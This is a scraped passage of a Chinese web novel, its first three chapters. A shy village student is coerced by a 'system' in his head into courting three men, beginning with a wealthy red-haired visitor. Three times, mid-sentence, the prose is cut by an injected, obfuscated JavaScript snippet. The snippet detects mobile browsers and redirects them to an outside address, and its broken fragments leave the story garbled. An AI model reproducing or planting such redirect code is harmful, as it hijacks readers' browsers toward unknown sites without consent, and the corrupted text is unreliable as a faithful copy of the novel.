《老实人同时攻略三人被发现后》 1. 第 1 章 “我说你啊陶圆,你喊你弟干点活怎么了?他马上要去城里享福了吧,到时候山里活没人干,你可别喊我,我还要去牌桌......” 瘦干男人话还没说完,昏暗的瓦房内,爆发出一声女人的尖叫:“李向东!你是不是拿我的钱去赌了?你要不要脸啊?儿子读书的钱还不够用,你还敢去打牌?我跟你拼了!” 陶圆尖叫着,抄起一旁的桌凳,怒不可遏朝李向东砸去。 噼里啪啦,本就岌岌可危的桌凳碎了一地,在只有鸡鸭鹅叫的山村里显得格外刺耳。 听到声音的邻居瞬间聚集在门外,几个中年妇女边嗑瓜子边摇头。 “唉,陶圆摊上这么个赌鬼也真是可怜......” 有个妇女翻了个白眼,“她就是活该,当初谁叫她嫁出去也要带上陶柠那小子的?就是一个捡来的弟弟,还是个病鬼,也不知道她护得跟个眼珠子一样做给谁看?” 另一个人当即不满了,“陶柠那孩子乖着呢,年年考试考第一,数学还获了什么很厉害的奥赛奖,最近还有人资助他去城里读书,读出去后哪天就发财了。我看啊,你就是替你儿子嫉妒吧......” “嘿——你?!” “三婶,二婶。” 就在两人争论不休的时候,一道清脆急切的声音打断了她们。 两人齐齐望过去,此时正值傍晚。 落下的夕阳斜挂在天际,橘红色余晖淡淡洒在跑来的少年身上,光芒穿透他洗到发白的衣衫,映出他削瘦挺拔的身躯,以及黑色书包带勒出的单薄肩颈。 门口樟树的阴影巧合贴在了少年脸颊上,与他细腻洁白的皮肤形成强烈对比。 少年红润饱满的嘴唇紧抿,阴影随着他的动作上移,贴住高挺精致的鼻梁,再往上,却被一副厚重的黑框眼镜挡住了眉眼,叫人瞧不出全部面容。 细碎微卷的刘海黏在额头前,显然,少年是一路从学校赶回来的。 他小口喘着气,焦急的目光探入屋内,而屋里摔东西的声音越来越响。 帮少年说话的三婶眼前一亮,“柠娃子,你放学回来了?小明昨天数学考了六十分,真是太感谢你帮那孩子补课了,要不这样,你过几天再帮小明补补课,三婶请你吃苹果好不啦......” 女人丝毫没有注意到陶柠着急的目光,仍旧喋喋不休希望他帮自己儿子补课。 陶柠点了点头,微微踮起脚尖,想要查看家里的情况。 刚才还在讽刺陶柠的人立刻换了副脸色,甚至不满三婶抢先,急忙挡住他,堆笑说:“柠柠,要不你也给我们家李华补补课?我们李华那孩子聪明着呢!尤其是英语!到时候你也给她补个奥赛奖出来.....” “嗯......好......” 陶柠低低的应着。 就在这时,除了陶柠,没有任何人察觉到的声音突兀出现了。 【替你个呆瓜着急,你倒是拒绝她们啊!她们一看就是在占你便宜,你缺心眼啊?】 这个声音出来后,陶柠愣了一秒,随即在脑海里熟稔回复:【她们人不坏。】 【不坏就可以占你便宜了?】 陶柠想了想,认真回答这个凭空出现在脑子里的声音,或者说,是系统。 【这不叫占便宜,阿姐还有书上都说过,要乐于助人。】 少年有些腼腆地抿唇一笑,【而且我收费的。】 系统:【行吧小呆瓜,快进去看看你姐。】 陶柠认真地在心里“嗯”了一声,他深吸一口气,朝恨不得当即把他带回家补课的几位妇女说:“刘婶,二婶,三婶,我……” 他话没说完,前方突然传来一道尖锐的女声:“你们杵我家门口干嘛呢?还让不让我弟弟进来了?走走走!赶紧走!” 急切的脚步声越逼越近,立在门口挡住陶柠的几位妇女互相对视几眼,随即快步离开了。 陶柠暗自松了口气,让他一个人对付这些婶子,肯定是对付不了的。 他刚回过神,背后的书包已经被一个人拎起来了,只是拎起沉重书包的手,却是一只瘦骨嶙峋布满茧子的、属于女性的手。 陶柠抬起眼,透过清晰的镜片,与一双清丽的眼睛对上,后者只比他矮了半个头,不高,难以想象刚才尖锐到能把鸟震飞的声音,是从如此瘦弱的一个身躯里发出来的。 陶圆露出一抹笑。 “柠柠,你回来啦?” 陶柠弯起眼睛。 “嗯,阿姐,我回来了。” 陶圆怕把陶柠肚子饿坏了,一边拎起他的书包后推着他往前走,一边絮絮叨叨:“我说你这孩子,今天回来那么早做什么?你多在王老师那里学学,山上的活又不用你操心。” 陶柠住在一座深山里,这里的人依靠山上的柠檬树为生。 “要操心的。”陶柠默不作声拎起另一半书包带,“今天也是姐夫回来的日子。” 陶圆嫁了个赌鬼,日日出去打牌喝酒,只有没钱的时候才会回来拿钱。 陶柠总结出了规律,每月月底赵向东就会回家,所以这几天他不会去老师家学习,也不会帮人补课,而是直接回家。 听到他的话,陶圆愣了愣,随即温柔地笑了,无奈说:“你这孩子。” 她看了一眼屋内开始抽烟的李向东,气不打一处来,眼神由无奈转为愧疚。 “柠柠啊,我得和你商量一件事。” 陶柠趁机把书包抱进怀里,“阿姐你讲。” 陶圆声音逐渐变小,“李向东拿着我给你进城的钱出去赌了,你外甥那边开学还要交一笔学费,姐姐……姐姐我,没有多少钱给你了。” 她叹了口气,继续说:“刘书记那边说这几天会来几个城里人,家里很有钱,要人给他们做什么、什么向导,我们这山头,以后最有出息的就是你,姐姐推荐你去,书记也答应了,可以拿到不少钱。但姐姐没有提前和你商量……会不会耽误你学习?” “你会不会怪姐姐……” 听到这些话,陶柠愣了一下,脑海中系统又冒了出来。 只是这一次,声音比刚才更像机械合成的。 【叮咚!恭喜土包子宿主解锁第一个剧情任务——】 【做你未来男人之一赵静群的向导。】 陶柠沉默了。 这个系统是不久前突然出现在他脑子里的,说要他去攻略三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859523|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男人,否则他会在这个世界消失。 脑海里凭空出现一个声音,陶柠当时小小呆了一下,思索自己除了贫血,其他地方没有问题。 他很快排除了精神疾病的原因,当然,是因为没有钱去做检查,只能自己推测。 陶柠不敢轻举妄动,一开始,自称系统的东西每日在他脑子里吐槽。 【你个又穷又土的呆瓜到底想怎么样啊,能不能和我说句话??本系统可是来自宇宙高级文明的产物,你知不知道能和我说上话是多么荣幸的一件事!】 【别做题了!快和我说话!】 陶柠当作什么都没听见,继续埋头算数学题。 某一天,系统忽然说。 【算了,本系统放弃了,你个呆瓜不说话就不说话,但你必须去攻略那三个男人,明天会有人来资助你去城里读书,到时候我将正式发布攻略任务。】 陶柠一如既往当系统不存在,也不接话。 直到第二天,村里书记欢声笑语来到他家,握着他的手说:“好小子!有出息了!你读大学的钱有着落了,城里一户姓宋的人家要资助你去读书——” 陶柠当即呆住了。 原来系统……说的是真的。 从那以后,陶柠开始和系统说话了,但对于它讲的“攻略三个男人”的任务,一直处于回避的状态。 系统困惑:【你不想攻略男人,难不成你想攻略女人?】 没等陶柠说话,系统继续困惑:【但你的长相按照地球人的标准来看,地球上没几个人比得过你,你要真去攻略女人,肯定百分百失败,她们只会把你当儿子。】 陶柠:“……” 他不想去攻略谁,男人女人都不想,只想好好学习,然后努力考出深山,赚钱让陶圆和外甥高兴。 但他反抗无效,因为系统竟然可以屏蔽他的五感,一旦他出现反抗的行为,系统就会让他产生眼盲、耳聋、口哑等问题。 有一次系统剥夺了陶柠的视力,他愣在原地手足无措,陶圆很快发现了他的异常,捧着他的脸一个劲儿的问他怎么了,不要吓姐姐。 陶圆说话的时候声音在发抖。 陶柠很少“见”哭泣的陶圆,所以那是他第一次和系统“说话。” 【我答应你去攻略他们。】 系统见状,兴奋道:【这才对嘛!我们是好文明,你攻略成功后,我们就治好你的身体怎么样?】 陶柠想了想,为了不让陶圆担心,也为了一副好身体,权衡利弊下就答应了,在没有进城前,他暂时按部就班生活,只是没有想到,接到任务的日子会来的这么快。 “赵静群……” 陶柠无声念出这个陌生的名字,心想,他是个怎样的人?会不会很难接触? 他木讷内向,不爱说话,这也是他不愿意去攻略谁的原因之一。 见陶柠不说话,陶圆以为他不愿意,“柠柠不愿意就算了,你进城的钱姐姐再想想办法,到时候我去和书记打个招呼……” “没有。” 陶柠静静看着一直处处为自己着想的陶圆,轻声说:“我愿意的,阿姐。” “我愿意去做他们的向导。” 2. 第 2 章 【第一步,做他的向导。】 【第二步,让他爱上你。】 【第三步,甩了他。】 系统严肃说:【这,就是本系统为你和赵静群安排的《破镜重圆之破镜》恋爱剧本上册。】 陶柠昨夜说服了自己,把这些攻略对象当作数学题,攻略他们的任务,就当作求解。 而他一向对解开数学难题保持求知若渴的态度,“我该怎么做?怎么……让他爱上我?” 系统得意说:【你个呆瓜算是问对统了,为了让你成功攻略,完成任务,本系统可是看了上亿本脆皮鸭小说,尤其熟悉知名口口绿江平台恋爱套路。】 【攻略三个男人不在话下!就算攻略一亿个,也手拿把掐。】 【得了,具体怎么攻略到时候会和你讲,时间不早了,你快去接他们。这次跟赵静群同行的人还有他妹妹赵静岁,以及他妹妹的朋友何氏兄妹,何言与何年年。】 【也就是说,你要先对付两对兄妹。】 陶柠听话换好衣物,因为是夏季,他穿得很轻薄,露出一截匀称白皙的小腿。 书记在外头喊他一起去山口接客人,于是两人坐着一辆电动三轮,轮胎不断与大大小小的石头摩擦,一路颠簸,终于到了山口。 山口这边,已经站了两男两女,他们身后堆满了行李。 其中一个双马尾少女不满说:“这地方能采风?没搞错吧,这里除了山就是山,哪里好看能采风了?蚊子还多得要命,刚才咬了我好几个包。” “年年,再忍一下。接我们的人马上到了。”另一个披着头发的少女安慰她。 “是啊何年年,静岁那么细皮嫩肉都能忍,怎么就你矫情?出门在外没人把你当大小姐……” “你有病啊何言?别以为我不知道你跟过来是为了岁岁,我呸!也不照照你那副癞蛤蟆样,也敢肖想我的岁岁?” 就在何氏兄妹要爆发激烈的争吵时,一道慵懒的声音淡淡响起:“再吵把你们从山上扔下去。” 仅仅一句话,何氏兄妹顿时像鹌鹑似的不作声了,赵静岁无奈扯出一抹笑,“哥,你别吓他们。” 何年年偷偷瞄了一眼刚才说话的男人,只是一眼,就和男人似笑非笑的目光对上,男人的眼角是微微上挑的,嘴角总带着淡淡笑意,但看人的时候又极冷。 他双手随意插着兜,穿了件普通的黑色T恤,左耳上穿了四五个银色耳钉,在烈日下尤为刺眼。 但最为显眼的,还是他那头张扬肆意的红发。 男人眉头微皱看了她一眼,“怎么?” 何年年瘪起嘴,收回了探究的眼神。 她心里嘟囔着,岁岁她哥也太讨厌了,说话不仅粗鲁,对女孩子一点儿也不绅士,可能是从小生活在穷人家,是个混混吧。 没素质。何年年内心翻了个白眼。 不远处三轮车“轰隆隆”“轰隆隆”的声响,一下拉回了四人的注意力。 紧接着,一个十七八岁模样的少年下了车,最先映入眼帘的,是他那双白到晃人视线的小腿,黑袜勒出了一点细嫩的软肉,叫人看了就有些移不开眼。 “你们、你们好,我叫陶柠,这几天……是你们的向导。” 说话的声音轻柔软糯,他乖乖巧巧站在他们面前,却垂着眼睛,没有直视他们,看上去极为内向腼腆。 少年戴着厚重的黑框眼镜,头发是自然卷,微长的刘海遮住了光洁的额头,双手局促地捏着衣角,一看就是好欺负的模样。 见状,系统在他脑海摇头叹息:【唉,到时候还是得靠本统发力啊。】 书记露出憨实的笑:“我是黄檬村的村书记刘三七,听上头说你们是来画画的,要到处走走看看,特意给你们安排了一位向导。” 他指着愈发局促不安的陶柠,略微骄傲说:“这是我们黄檬村的学生,县里面的第一名,人特别聪明!有他带你们,你们就放心玩。” 看着陶柠呆呆的样子,何年年表情明摆着不信,但书记也没管他们信不信,说完后就要给他们搬行李上车。 陶柠也想动手,书记急忙阻止他,“你身体不好就别搬了,细胳膊细腿的,这些行李箱一看就重,车后位又高,到时候你没搬上去,还把自己给砸了,你姐一定会找我麻烦。” 一旁的何年年瘪嘴,“有什么搬不动的?又没多少,不是说山里人力气大吗?” 她就带了四个行李箱,多吗?一点儿也不多吧。 虽然这个叫陶柠的人从外表上看,确实细胳膊细腿,弱不拉几的。 但何年年才不管这些,而且不就是脸色看着苍白了点,不至于到连个行李箱都搬不动。 陶柠没作声,他一向不知道该怎么反驳别人,只是默默跟在书记身后。 在书记去搬一个行李箱时,他推着箱子来到三轮车后栏板的位置,后栏板的锁坏了,不能放下来。 栏板最高处到陶柠胸口,他双手用力提起行李箱的杆,想要把行李箱放上车,但行李箱又重又大,他的手臂微微发抖,半边箱子挨着栏板。 忽然,手臂不受控制地失去力气,陶柠浅棕色的瞳孔一缩,眼见行李箱要砸下来,身后伸过来一只手,稍稍一用力,把行李箱往上一推。 箱子“哐当”一声滚进了车里。 远处传来何年年的尖叫:“啊——我的行李!!” “不好意思啊年年,我哥他不是故意的,过几天回去,我给你买个新的……”赵静岁急忙安抚她。 【叮咚!触发攻略赵静群单人线第一条任务——】 【和他贴贴超过一分钟。】 陶柠呆了,问:【怎么贴?】 【和他有肢体上的接触。】 【那一分钟是累计时间还是计算单次?】 系统默默吐槽,不愧是你个严谨的呆瓜。 【累计。】 陶柠明白了,两人视线相对,赵静群意味不明看了他一眼,嘴角的笑意似有嘲讽,插着兜转身离开。 而陶柠急着解数学题,脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859524|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一空白,伸出还在发抖的手,抓住了他肌肉虬结的胳膊。纤细修长的手碰到胳膊的那一刹,冰凉的手掌与滚烫的肌肉相撞,两人同时一愣。 少年的掌心很软很凉,炎炎夏日里,让人忍不住想与他多接触一会儿。 赵静群嘴角的讽笑微微凝固,冰凉与柔软的触感一并从胳膊上传来,他瞬间感到不自在。以前要是有人敢随便拉住他,他早就一脚踹过去了。 可眼前这土包子就是一个白斩鸡,就到他胸口这么高,恐怕不用他踹,用手轻轻一推就倒了。 不过胆子倒是很大。 少年红润饱满的嘴唇紧抿,似乎是第一次做拉住男人手的事,纤细的手指止不住发抖。 赵静群似笑非笑盯着陶柠,目光渐冷:“还不放开?” 没想到少年的眼睛瞬间垂下,软糯的嗓音低低“嗯”了一声,乖巧听话,但抓住男人胳膊的手却始终没有松开,甚至怕贴贴的范围不够,又用手腕去贴男人的胳膊,看架势像要全部黏在男人身上。 赵静群:“?” 系统:【......】 系统:【小呆瓜,一分钟到了,你再不放开,我怕这个剧本要变成《没镜没圆他还给了我一拳》了。】 赵静群心底冷笑,同性恋他见过不少,但敢这么明目张胆的他还是第一次见,正当他失去耐心,要扯开黏在他胳膊上的手时,冰凉柔软的触感瞬间消失。 他抬眼看过去,却只能看到少年冷淡和毫无留恋的背影。 赵静群:“.......” 他气得笑了一下,骂道:“神经病。” 书记这时候已经把行李箱陆陆续续全部搬上了车,招呼他们:“大家快上车,要是过了晌午太阳毒起来,我皮糙肉厚不怕,你们恐怕得脱层皮。” 但这台三轮车是电动的,吨位不大,前座只能坐两个人,后位装下行李后就只能勉强坐三个。 书记也没想到城里人就是来画个画要带七八个行李,尴尬地笑起来:“我不怕太阳晒,回去的路程也不远,要不先让陶柠送你们回去?他开三轮的技术是我教的,保证安全。” 何年年翻了个白眼:“保证保证,又是保证,刚才他连个行李箱都搬不动,还把我的箱子弄坏了,现在去开这种破车,万一带我们从山上掉下去怎么办?你们有几个钱啊?赔得起吗?” 去黄檬村的山路只有一条,而且只有四五米宽,要绕很多弯路才能进村口,四周没有防护栏,一不小心就有掉下悬崖的危险。 陶柠搅了搅衣角,小声道歉:“对不起,行李箱的钱我会赔给你。刘叔……你先带他们走吧。” “你忘记上次那么热的天,非要帮我干活晕倒了?你姐在我耳边唠了一周,不行......” 就在这时,一阵带着滚烫气息的风从陶柠身边径直吹过。 赵静群坐在了驾驶位上,偏过头,骨节分明的手放在车把上,目光对着所有人,又像是对着陶柠说:“上来。” 陶柠微微一怔。 3. 第 3 章 其他人看到赵静群竟然会开一辆破旧电动三轮,纷纷惊讶。 陶柠和刘书记不清楚他的身份背景,但何年年很清楚,她不敢反驳赵静群,不仅是他没素质,最重要的是他背后的赵家,是星城唯一有军方背景的富豪。 这可不是他们普通富贵人家惹得起的,虽说赵静群从小流落在外,刚被赵家接回来没几年,但这些年来赵家为了补偿他,花了很多心思。 就算赵静群一直保留着做混混的习惯,赵家也忍了。 在物质生活上赵家从来没有短缺过赵静群,他身上看似普通的黑色T恤,却能买几百辆上千辆这种电动三轮了。 平日里何年年都是看赵静群开Ferrari等超跑的,虽然听说过他小时候过得不好,但亲眼看赵静群开三轮,也是第一次见了。 而系统在陶柠脑海中激动不已:【好呆瓜!他今日为了你开三轮,明天就能为了你拦火车!照这个进度,攻略成功指日可待啊。】 陶柠有些困惑:【攻略成功的标准是什么?】 系统沉吟了一会,说:【分别获得这三个男人的‘我爱你’这句话,怎么样?是不是比较简单啊?】 陶柠沉默了,他在脑海里回复:【我......】 【不行!】 系统严肃拒绝了他,【我知道你个小呆瓜要说什么,是不是想晚上直接套赵静群的话?这是作弊的行为,你可是三好学生,作弊可耻。而且呵呵呵,他们现在说了也没用,因为你没有爱意,哎呀不对,是他们没有爱意。】 【总之你攻略成功的那一刻,会感觉到的。】 被系统揭穿心中所想,陶柠脸皮薄,不太好意思,白皙的脸颊生理性泛红,直到那道低沉慵懒的声音不耐响起:“走不走了?” 陶柠抬起眼,和坐在驾驶位上的男人视线相碰,此时三轮车后坐已经坐满人了,何年年正捏着鼻子和赵静岁吐槽,何言则在一旁疯狂翻白眼。 所以和系统说个话的功夫,就只剩赵静群身边的位置了。 赵静群目视前方,余光却瞥到了身旁人未消的红晕。 陶柠见他目光不善,小心挪动脚步,像只蜗牛一样凑过去坐在男人身边。 他贴着车护栏,因为身形比较瘦弱,所以他和赵静群中间还能坐下一个人。 两旁的风景逐渐向后远去,陶柠心想:等会如果没有任务,就把昨晚新看到的奥赛题解了。 但是他的想法总是不如系统的愿,系统劝他:【无论什么时候都要与他增进感情!你早点攻略成功,就可以早点专心做数学题了。】 陶柠思考了一下其中的利与弊,觉得系统说的有道理:【......嗯,那今晚可以给我看看你说的脆皮鸭和口口小说吗?我想学习一下。】 他不理解脆皮鸭和口口是什么,但能攻略这些人,应该是和数学题解析资料一样的书。 虽然他平时做题根本用不上辅导书,只是这些毕竟是陌生的“题目”,他多学学,总归是没有错的,以后也就不用麻烦系统教他了。 系统相当满意:【你有这个学习态度是好的,今晚我就把珍藏多年的攻略秘籍给你,睡觉的时候你就能看到了。】 陶柠闷闷的:“阿姐说晚上看书对眼睛不好,睡觉前不能看书......” 从陶柠坐在身边后,赵静群就一直在注意身旁的动静,进山的路越往里走,吹过来的风就越凉快,连带着把身旁人的香气一同卷入鼻尖,丝丝缠绕,无孔不入,他既为这样淡的香味感到烦躁,又忍不住多闻了几下。 是很淡的柠檬香,他是柠檬成精么? 现在又在自言自语什么...... 赵静群握紧方向盘的手逐渐收紧,微微屏住呼吸,眼底闪过不耐。 直到身后传来尖叫:“——啊啊啊啊岁岁你管管你哥,他怎么开车的?!快看路啊快看路啊!要掉下去了!!” 三轮车载着人,在一阵划破天际的尖叫声中进了黄檬村,村口已经有人出来迎接了,是一个年过六十的老人,眯着眼乐呵呵上前,一把握住了陶柠的手,指着赵静群一行人,用语速极快的方言说了一堆。 老人:“@#1~%¥##......” 陶柠边点头边应声:“好。” 何年年不解:“这老头叽里呱啦说啥呢?” 陶柠说:“这是村长,村里很多人不会说普通话,他说给你们安排住的地方不多,一个在刘书记家,一个在村长家......还有一个,在我家。” 何年年说:“难怪听你说话有口音,别扭死了,果然你们山里人都是一群没文化的乡巴......” 旁边的赵静岁及时捂住她的嘴,笑容温柔:“离我们写生的地方近吗?” 他们这次来的目的是为了她写生,黄檬村虽然偏僻落后,却有全国少见的朴实无华的山村风景,每年吸引不少美术生过来。 其实赵静岁是想一个人过来的,最多带个保镖,结果因为种种不可抗力的原因变成了他们四个。 她看着一脸幽怨的何年年,以及只会对她傻笑的何言,还有表面挂笑其实凉薄的赵静群,内心充满了深深的无力感。 她把希望寄托在这位看起来内敛腼腆的少年身上,少年点了点头:“嗯,我们三家很近,住下后明天我带你们去写生的地方。” 赵静岁这才放下心,这个叫陶柠的少年确实比较靠谱,看来这几天住在山里,得多靠他了。 下一秒,她听见这个内向的少年小声问她:“你哥哥.....可以和我睡吗?” 赵静岁:“……?” 正在漫不经心踢石头的赵静群:“?” 系统尖叫:【呆瓜你搞错了!刚才的任务是睡你家,不是睡你!】 就在他们回来的路上,系统发布了第二条攻略赵静群的单人任务——让赵静群住在自己家,这期间,陶柠一直在琢磨该怎么开口比较好。 最后想了想,选择了最直白真诚的话。 陶柠困惑:【睡我家,就是和我一起睡。因为家里只有我的房间能放床了。】 系统哭笑不得:【你个呆瓜真是......算了,今晚我好好把那些攻略秘籍传授给你,保证让你从一个呆瓜变成情场高手。】 陶柠似懂非懂地点了点头。攻略人比算数学题困难多了。 看着垂着头不说话了的陶柠,赵静群心底的古怪越来越盛,刚才拉着他的手不放,现在又迫不及待想和他一起睡,而且是在众目睽睽之下说出来的。 这小基佬就这么饥渴? 赵静群似笑非笑问:“我凭什么要和你一起睡?不是有三户么?” 闻言,陶柠放在裤缝边的手不自觉攥紧,卷翘的睫毛微微颤抖着:“因、因为,书记家里有个女儿,村长家里......” 村长家里的情况和他家差不多,有一间空房,有两个儿子。但陶柠不知道该怎么开口,他不想让赵静群去村长家里,因为这意味着任务失败。 系统告诉过他,如果发放的某条任务失败了,就会随机封闭五感之一二十四小时,他不想让陶圆担心。 但他又不擅长撒谎...... 于是,赵静群就这样眼睁睁看着少年说话的声音越来越小,白皙的脸颊也越来越红,很像奶油蛋糕上点缀了两颗草莓。 赵静群压下心中的异样感,他倒要看看,这小基佬到时候能玩出什么花样。 他哼笑,“行,答应你。” 赵静群紧紧盯着垂下头的陶柠,一字一字说:“和你睡。” 住宿安排就这么定下了,何年年拉着赵静岁住了书记家,何言住村长家,而赵静群,跟着陶柠回家了。 到家的时候已经是正午。 陶柠一推开家门,饭菜的香味扑面而来。暖黄色灯光下,陶圆正在上菜,听到身后的动静,她双手在围裙上擦了擦,回过头看到少年后眼前一亮:“柠柠回来了?快洗手吃饭,今天......这位是?” 目光在陶柠身后的男人身上停住,陶圆视线上移,在他红得跟鸡冠的头发上一顿。 她心里犯嘀咕:柠柠这是带什么流氓同学回来了?今天不是去接客人了? 赵静群明显感受到,这个女人对他的警惕瞬间提高,看他的眼神像是在看要拐走她家活宝贝的流氓一样。 他对这种眼神视而不见,因为这么多年来,他早已经习惯了。 陶柠小声回答:“阿姐,他是住我们家的客人。” 赵静群淡笑着报了自己的名字。 陶圆立刻反应过来,一张脸说变就变,瞬间换上讨好的笑:“原来是客人啊,我说怎么这么英俊潇洒!” 不等陶柠去搬凳子,就急匆匆把最好的主位让给赵静群坐,亲热地喊:“快来坐快来坐!静群就是比我们这些乡下人好,这一身行头精神得不行!一看就知道以后有大出息,正好我们今天炖了鸡,用的是我们山上最正宗的土鸡,吃了大补,你们城里人一般吃不到,柠柠这孩子最爱吃了.......” 饭桌上,陶柠静静地听她吹捧赵静群,而后者也笑着和陶圆接话,丝毫没有不自在,始终泰然自若。 陶柠给眉飞色舞、几乎要给赵静群倒酒的陶圆盛了鸡汤:“阿姐,小檬呢?” 陶圆把鸡汤一口饮尽,用衣袖擦了把嘴,继续和赵静群唠:“你外甥啊?去你刘叔家玩了......哈哈,刚才我们说到哪儿了?这蕨菜你们城里人很少见吧......” 陶柠是个婴儿的时候就被抛弃了,身份不详,被另一座山头没有儿子的陶氏夫妇捡了回去,那时候陶家已经有三个女儿,陶圆是大姐,陶氏夫妇那时候忙着田里和山里的活,没多少时间带陶柠,是陶圆一个人带大三个弟弟妹妹。 陶圆在陶柠九岁的时候外出打了两三年零工,不过说是去大城市打工,其实就在附近的小县城里帮人做衣服。 一直到陶父陶母突然离世,陶圆才回来。 父母不在了,回来后家就彻底散了,二姐三姐都不愿意带陶柠这个拖油瓶,怕耽误自己嫁人,毕竟不是亲弟弟,身体也有个大毛病,互相推来推去,最后商量着要把十一岁的陶柠送到福利院去。 陶圆听到后当场发飙,骂她们:“良心都被狗吃了啊?!陶芳,别以为我不知道你把爸妈留给柠柠的那份钱拿走了,还有你个死没良心的,从小到大就知道欺负柠柠,现在还有脸说把他送到福利院去?!” 二姐三姐被她说得脸一阵青一阵白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859525|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小陶柠就站在柱子后,低头听她们商量。 “我今天就把话放在这里,谁敢动柠柠一根毛老娘抽不死他!” 后来陶圆和她们彻底分家,孤身一人把陶柠带走了,两年后,又带着他嫁进了李家。 李向东是个赌徒,却是十里八乡唯一不嫌陶圆带陶柠嫁过来的,当时陶柠跪在她面前,说:“阿姐,他喜欢赌,你不要嫁给他。” 陶圆摸了摸他的头,笑容爽朗:“好小子,没白疼你。” 她往四周看了看,见没有人,凑到陶柠耳边小声说:“傻小子,李向东是个独户,和咱一样没爸没妈的,我嫁过去不用受气,他家还有地有房,你就放心和姐走。” “是不是怕他让我受委屈?” 陶圆叉着腰笑,“这不是还有你在,你就只管用功学习,长大后姐就靠着你个傻小子了,而且一般男的也不敢惹你姐我。” 后来事实也如此,陶圆在家当家,李向东爱赌,这个恶习根深蒂固改不了了,庆幸的是赌的钱不多,也不敢对陶圆动手动脚,因为陶圆真的敢拿刀砍他。 所以这几年来日子过得还算安分。 前些日子是李向东在牌桌上打上头了,偷摸拿了陶圆留给儿子小檬读书的钱去赌,陶圆气得不行,几棍子把他赶出了家,这几天李向东都不敢回来。 饭桌上陶圆越说越兴奋,而且不动声色把话题转到了陶柠身上,先是说陶柠一岁就能背乘法口诀表,两岁就能作诗,三岁就做完了县里所有的数学题。 最后“啪”的一声,陶圆手拍桌子,本就摇摇欲坠的桌子抖了三抖,她激动说: “我们柠柠啊,可是拿过诺贝尔奖的人!” 听见这种惊世骇俗的言论,正在喝水的赵静群被呛了一下。 陶柠默默放下手里的筷子,“阿姐,那是奥赛奖。” 陶圆不在意的挥手,“这不都是奖,有什么区别?姐姐我啊,就相信你以后能拿这个、这个诺贝尔奖。” 她语气里满是骄傲,发黄的脸颊因为酒精泛起红晕。 最终她的目光从骄傲变得局促,双手不自觉捏起身上的围裙,看着赵静群说:“静群啊,我们家柠柠十里八村都找不出来比他更聪明的了,过完这个暑假他就要去城里读书了,到时候你看看,能不能帮我照顾一下他?” “未来这孩子出息了,肯定会报答你!” 赵静群饶有兴趣地看这对不相像的姐弟,一个能说会道,跟他唠了半天,其实目的就是为了帮她弟弟,另一个沉默寡言,丝毫看不出来有那个书记和他姐姐说的聪明。 反倒是呆子一个,甚至还是个男同性恋。 赵静群挑了下眉,把手上的茶杯放在桌上,漫不经心说:“好啊。” 这顿饭吃得很慢,吃到一半时,一个奶声奶气的声音闯了进来:“舅舅!舅舅!” 陶柠吃完饭站起来,大腿一沉,低头看,一双睫毛弯弯的大眼睛正亮晶晶看着他,肉嘟嘟的小手抱着他的大腿不放,像个黏在他身上的挂件。 赵静群问:“你外甥?” 陶柠摸了摸小檬的头,点头“嗯”了一声。 小檬这才注意到窄小的家里多了一个陌生男人,这男人嘴角是上扬的,眼底却没多少笑意,尤其是一头红发,只想叫人敬而远之。 小檬看着看着,忽然瘪起嘴,竟然啪嗒啪嗒开始掉起眼泪了。 陶柠愣住了,弯下腰把他抱起来,问他:“怎么了?” 他看向赵静群,后者笑了笑:“我可什么都没做。” 小檬忽然大声哭起来,毫无征兆,尖锐的哭声把喝得有些晕乎的陶圆惊醒了,她顿时吼一嗓子:“李小檬!你哭什么哭!一天到晚就知道让你舅抱你,你像不像个男子汉啊?羞死人了,给我下来!” 小檬急忙搂住陶柠的脖子,继续嚎叫:“我不要!” “我不要,我不要他!” 小檬指着赵静群,委屈极了,“不准带其他男子汉回来!妈妈你不准把舅舅嫁给别的男子汉,舅舅以后是要给我做新娘的.....” 陶柠:“......” 赵静群:“......” 陶圆急忙把小檬从陶柠身上扯下来,打着哈哈:“这小屁孩就喜欢黏着柠柠,静群啊,小孩子的话你不要放在心上。我带他去洗澡,床昨天就铺好了。柠柠啊,你带着静群先进屋吧......” 陶柠点头,两人出了屋,把小檬的哽咽声和陶圆的怒火抛到了身后。 山里的农户几乎都是几间水泥房围成正方形凑在一起的,陶柠家里有三间房,两个房间和一间正堂,院子后面养了鸡和鸭,还搭了个简单的棚子洗澡。 陶柠住在通风最好的一间屋,赵静群只带了一个行李箱。“嘎吱”一声,行李箱拖地的声音和脚步声同时进入屋子里。 